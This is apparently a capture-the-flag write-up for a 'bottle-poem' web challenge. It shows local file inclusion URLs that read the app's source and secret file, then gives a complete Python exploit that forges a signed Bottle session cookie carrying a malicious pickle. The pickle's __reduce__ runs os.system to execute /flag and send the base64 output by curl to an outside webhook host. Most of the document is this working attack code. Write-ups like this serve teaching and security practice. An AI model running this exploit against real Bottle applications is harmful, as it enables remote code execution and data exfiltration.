Rating: 5.0

LFI:
http://bottle-poem.ctf.sekai.team/show?id=/app/app.py
/sign url uses some secret to create digital signature of a user session.
http://bottle-poem.ctf.sekai.team/show?id=/app/config/secret.py
reveals that secret.
So, now we can create our own customized sessions.
Viewing the src code of bottle:
```
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
```
There is usage of the pickle package which is vulnurable and allows RCE on deserialization.

The full code:
```
import base64
import hashlib
import hmac
import pickle
import requests

sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
unicode = str

def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg

class PickleRce(object):
def __reduce__(self):
return eval, ("os.system('curl https://webhook.site/REDACTED?p=`exec /flag | base64`')",)

payload = touni(cookie_encode(("name", {"name": PickleRce()}), sekai))
requests.get("http://bottle-poem.ctf.sekai.team/sign", cookies={"name": f"\"{payload}\""})
```